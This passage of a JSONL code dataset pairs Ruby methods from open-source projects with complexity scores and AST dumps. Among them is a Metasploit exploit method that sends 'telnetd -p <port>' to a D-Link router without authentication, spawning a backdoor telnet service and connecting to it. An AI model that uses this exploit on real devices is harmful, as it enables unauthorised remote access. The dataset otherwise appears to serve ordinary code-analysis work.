>\\nBack to the hill and over it again!</textarea>\"]},{\"type\":\"str\",\"children\":[\"<input name='parent_post[secret]' type='hidden' value='0' autocomplete='off' />\"]},{\"type\":\"str\",\"children\":[\"<input name='parent_post[secret]' checked='checked' type='checkbox' value='1' id='parent_post_secret' />\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"ivar\",\"children\":[\"@rendered\"]}]}]}]}","id":"dde65996-462d-4cc8-a4ae-08b4f1608ee6"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/command_recorder_test.rb","start_line":292,"raw_source":"def test_invert_remove_column_without_type\n        assert_raises(ActiveRecord::IrreversibleMigration) do\n          @recorder.inverse_of :remove_column, [:table, :column]\n        end\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_invert_remove_column_without_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"IrreversibleMigration\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@recorder\"]},\"inverse_of\",{\"type\":\"sym\",\"children\":[\"remove_column\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"table\"]},{\"type\":\"sym\",\"children\":[\"column\"]}]}]}]}]}","id":"915fcc84-094e-4f35-9968-62d405285c80"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/smtp/smtp_version.rb","start_line":11,"raw_source":"def initialize\n    super(\n      'Name' => 'SMTP Banner Grabber',\n      'Description' => 'SMTP Banner Grabber',\n      'References' => [\n        ['URL', 'http://www.ietf.org/rfc/rfc2821.txt'],\n      ],\n      'Author' => 'CG',\n      'License' => MSF_LICENSE\n    )\n    deregister_options('MAILFROM', 'MAILTO')\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"SMTP Banner Grabber\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"SMTP Banner Grabber\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.ietf.org/rfc/rfc2821.txt\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"CG\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"MAILFROM\"]},{\"type\":\"str\",\"children\":[\"MAILTO\"]}]}]}]}","id":"f3fbe01f-c1a8-4078-b031-957270e82cb4"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/helpers/active_record_objects.rb","start_line":22,"raw_source":"def setup_models\n    Kernel.load(File.expand_path(\"../../helpers/models.rb\", __FILE__))\n    include_idc_into_associated_record\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_models\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Kernel\"]},\"load\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"../../helpers/models.rb\"]},{\"type\":\"str\",\"children\":[\"(method)\"]}]}]},{\"type\":\"send\",\"children\":[null,\"include_idc_into_associated_record\"]}]}]}","id":"719b20ca-9c26-454c-b0fd-427003fcaf18"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/controller_generator_test.rb","start_line":75,"raw_source":"def test_invokes_default_template_engine_even_with_no_action\n    run_generator [\"account\"]\n    assert_file \"app/views/account\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_invokes_default_template_engine_even_with_no_action\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"account\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/views/account\"]}]}]}]}","id":"23bc02cb-f123-420a-adf2-572e3fc9bc02"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/admin/emoji_controller.rb","start_line":52,"raw_source":"def destroy\n    name = params.require(:id)\n\n    # NOTE: the upload will automatically be removed by the 'clean_up_uploads' job\n    emoji = CustomEmoji.find_by(name: name)\n\n    if emoji.present?\n      StaffActionLogger.new(current_user).log_custom_emoji_destroy(name)\n      emoji.destroy!\n    end\n\n    Emoji.clear_cache\n\n    Jobs.enqueue(:rebake_custom_emoji_posts, name: name)\n\n    render json: success_json\n  end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"emoji\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomEmoji\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"emoji\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StaffActionLogger\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"log_custom_emoji_destroy\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"emoji\"]},\"destroy!\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Emoji\"]},\"clear_cache\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue\",{\"type\":\"sym\",\"children\":[\"rebake_custom_emoji_posts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"success_json\"]}]}]}]}]}]}","id":"0ed39285-d958-4991-8b51-ad577d3bc588"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/support/system_helpers.rb","start_line":216,"raw_source":"def skip_unless_s3_system_specs_enabled!\n    if !ENV[\"CI\"] && !ENV[\"RUN_S3_SYSTEM_SPECS\"]\n      skip(\n        \"S3 system specs are disabled in this environment, set CI=1 or RUN_S3_SYSTEM_SPECS=1 to enable them.\",\n      )\n    end\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"skip_unless_s3_system_specs_enabled!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CI\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RUN_S3_SYSTEM_SPECS\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"skip\",{\"type\":\"str\",\"children\":[\"S3 system specs are disabled in this environment, set CI=1 or RUN_S3_SYSTEM_SPECS=1 to enable them.\"]}]},null]}]}","id":"cdd80b4b-b378-47c1-ad51-d37603dbcb63"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb","start_line":80,"raw_source":"def exploit\n    telnetport = rand(32767) + 32768\n\n    print_status(\"#{rhost}:#{rport} - Telnet port used: #{telnetport}\")\n\n    cmd = \"telnetd -p #{telnetport}\"\n\n    # starting the telnetd gives no response\n    print_status(\"#{rhost}:#{rport} - Sending exploit request...\")\n    request(cmd)\n\n    print_status(\"#{rhost}:#{rport} - Trying to establish a telnet connection...\")\n    ctx = { 'Msf' => framework, 'MsfExploit' => self }\n    sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i, 'Context' => ctx })\n\n    if sock.nil?\n      fail_with(Failure::Unreachable, \"#{rhost}:#{rport} - Backdoor service has not been spawned!!!\")\n    end\n\n    add_socket(sock)\n\n    print_status(\"#{rhost}:#{rport} - Trying to establish a telnet session...\")\n    prompt = negotiate_telnet(sock)\n    if prompt.nil?\n      sock.close\n      fail_with(Failure::Unknown, \"#{rhost}:#{rport} - Unable to establish a telnet session\")\n    else\n      print_good(\"#{rhost}:#{rport} - Telnet session successfully established... trying to connect\")\n    end\n\n    print_status(\"#{rhost}:#{rport} - Trying to create the Msf session...\")\n    begin\n      Timeout.timeout(session_timeout) do\n        activated = handler(sock)\n        while (activated !~ /claimed/)\n          activated = handler(sock)\n        end\n      end\n    rescue ::Timeout::Error\n      fail_with(Failure::Unknown, \"#{rhost}:#{rport} - Unable to establish a Msf session\")\n    end\n  end","complexity_score":63.75,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"telnetport\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[32767]}]},\"+\",{\"type\":\"int\",\"children\":[32768]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Telnet port used: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"telnetport\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"telnetd -p \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"telnetport\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Sending exploit request...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"request\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Trying to establish a telnet connection...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ctx\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Msf\"]},{\"type\":\"send\",\"children\":[null,\"framework\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MsfExploit\"]},{\"type\":\"self\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sock\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"create_tcp\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PeerHost\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PeerPort\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"telnetport\"]},\"to_i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Context\"]},{\"type\":\"lvar\",\"children\":[\"ctx\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Backdoor service has not been spawned!!!\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"add_socket\",{\"type\":\"lvar\",\"children\":[\"sock\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Trying to establish a telnet session...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"prompt\",{\"type\":\"send\",\"children\":[null,\"negotiate_telnet\",{\"type\":\"lvar\",\"children\":[\"sock\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prompt\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"close\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Unable to establish a telnet session\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Telnet session successfully established... trying to connect\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Trying to create the Msf session...\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeout\"]},\"timeout\",{\"type\":\"send\",\"children\":[null,\"session_timeout\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"activated\",{\"type\":\"send\",\"children\":[null,\"handler\",{\"type\":\"lvar\",\"children\":[\"sock\"]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activated\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"claimed\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"activated\",{\"type\":\"send\",\"children\":[null,\"handler\",{\"type\":\"lvar\",\"children\":[\"sock\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"Error\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Unable to establish a Msf session\"]}]}]}]},null]}]}]}]}","id":"98f06923-d7d3-4cbf-9bb6-850daa9f11a4"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/inject.rb","start_line":25,"raw_source":"def inject_values_to_record(tag, time, record)\n        return record unless @_inject_enabled\n\n        r = record.dup\n        if @_inject_hostname_key\n          r[@_inject_hostname_key] = @_inject_hostname\n        end\n        if @_inject_worker_id_key\n          r[@_inject_worker_id_key] = @_inject_worker_id\n        end\n        if @_inject_tag_key\n          r[@_inject_tag_key] = tag\n        end\n        if @_inject_time_key\n          r[@_inject_time_key] = @_inject_time_formatter.call(time)\n        end\n\n        r\n      end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"inject_values_to_record\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@_inject_enabled\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"dup\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@_inject_hostname_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]=\",{\"type\":\"ivar\",\"children\":[\"@_inject_hostname_key\"]},{\"type\":\"ivar\",\"children\":[\"@_inject_hostname\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@_inject_worker_id_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]=\",{\"type\":\"ivar\",\"children\":[\"@_inject_worker_id_key\"]},{\"type\":\"ivar\",\"children\":[\"@_inject_worker_id\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@_inject_tag_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]=\",{\"type\":\"ivar\",\"children\":[\"@_inject_tag_key\"]},{\"type\":\"lvar\",\"children\":[\"tag\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@_inject_time_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]=\",{\"type\":\"ivar\",\"children\":[\"@_inject_time_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@_inject_time_formatter\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"time\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"r\"]}]}]}","id":"799964d4-d5df-4fb0-a65b-1744776fa7d3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/merge_request_diff_helpers.rb","start_line":138,"raw_source":"def find_in_panel_by_scrolling(selector, **options)\n    element = find_within_panel_viewport(selector, **options)\n    return element if element\n\n    page.execute_script \"document.querySelector('.js-static-panel-inner').scrollTo(0,0)\"\n\n    until element\n\n      if has_reached_panel_end\n        raise PageEndReached, \"Failed to find any elements matching a selector '#{selector}' by scrolling. Page end reached.\"\n      end\n\n      page.execute_script \"document.querySelector('.js-static-panel-inner').scrollBy(0, document.querySelector('.js-static-panel-inner').clientHeight/1.5)\"\n\n      element = find_within_panel_viewport(selector, **options)\n    end\n    element\n  end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"find_in_panel_by_scrolling\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"selector\"]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"element\",{\"type\":\"send\",\"children\":[null,\"find_within_panel_viewport\",{\"type\":\"lvar\",\"children\":[\"selector\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"execute_script\",{\"type\":\"str\",\"children\":[\"document.querySelector('.js-static-panel-inner').scrollTo(0,0)\"]}]},{\"type\":\"until\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_reached_panel_end\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"PageEndReached\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to find any elements matching a selector '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selector\"]}]},{\"type\":\"str\",\"children\":[\"' by scrolling. Page end reached.\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"execute_script\",{\"type\":\"str\",\"children\":[\"document.querySelector('.js-static-panel-inner').scrollBy(0, document.querySelector('.js-static-panel-inner').clientHeight/1.5)\"]}]},{\"type\":\"lvasgn\",\"children\":[\"element\",{\"type\":\"send\",\"children\":[null,\"find_within_panel_viewport\",{\"type\":\"lvar\",\"children\":[\"selector\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"element\"]}]}]}","id":"a8c803ab-a3bd-4ee3-9f0f-f76267b218fb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/application_settings_helper.rb","start_line":18,"raw_source":"def allowed_protocols_present?\n    Gitlab::CurrentSettings.enabled_git_access_protocol.present?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_protocols_present?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"enabled_git_access_protocol\"]},\"present?\"]}]}","id":"61f72c5f-7a1f-44a1-a4be-795ad0811706"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/metric/common.rb","start_line":48,"raw_source":"def v_derived_storage_used\n    return nil if derived_storage_total.nil? || derived_storage_free.nil?\n\n    derived_storage_total - derived_storage_free\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"v_derived_storage_used\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"derived_storage_total\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"derived_storage_free\"]},\"nil?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"derived_storage_total\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"derived_storage_free\"]}]}]}]}","id":"41d7e7f6-ae76-4a99-8af6-fad5c72fcee5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/work_items/callbacks/notifications_spec.rb","start_line":108,"raw_source":"def create_subscription(state)\n    create(\n      :subscription,\n      project: project,\n      user: current_user,\n      subscribable: work_item,\n      subscribed: (state == :subscribed)\n    )\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create_subscription\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"state\"]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"subscription\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subscribable\"]},{\"type\":\"send\",\"children\":[null,\"work_item\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subscribed\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"==\",{\"type\":\"sym\",\"children\":[\"subscribed\"]}]}]}]}]}]}]}","id":"7c22e88b-2d50-48e9-904e-cc6732976aab"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/stub_object_storage.rb","start_line":47,"raw_source":"def stub_object_storage(connection_params:, remote_directory:)\n    Fog.mock!\n\n    ::Fog::Storage.new(connection_params).tap do |connection|\n      connection.directories.create(key: remote_directory) # rubocop:disable Rails/SaveBang\n\n      # Cleanup remaining files\n      connection.directories.each do |directory|\n        directory.files.map(&:destroy)\n      end\n    rescue Excon::Error::Conflict\n    end\n  end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_object_storage\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"connection_params\"]},{\"type\":\"kwarg\",\"children\":[\"remote_directory\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fog\"]},\"mock!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Fog\"]},\"Storage\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"connection_params\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"directories\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"remote_directory\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"directories\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"directory\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"directory\"]},\"files\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\"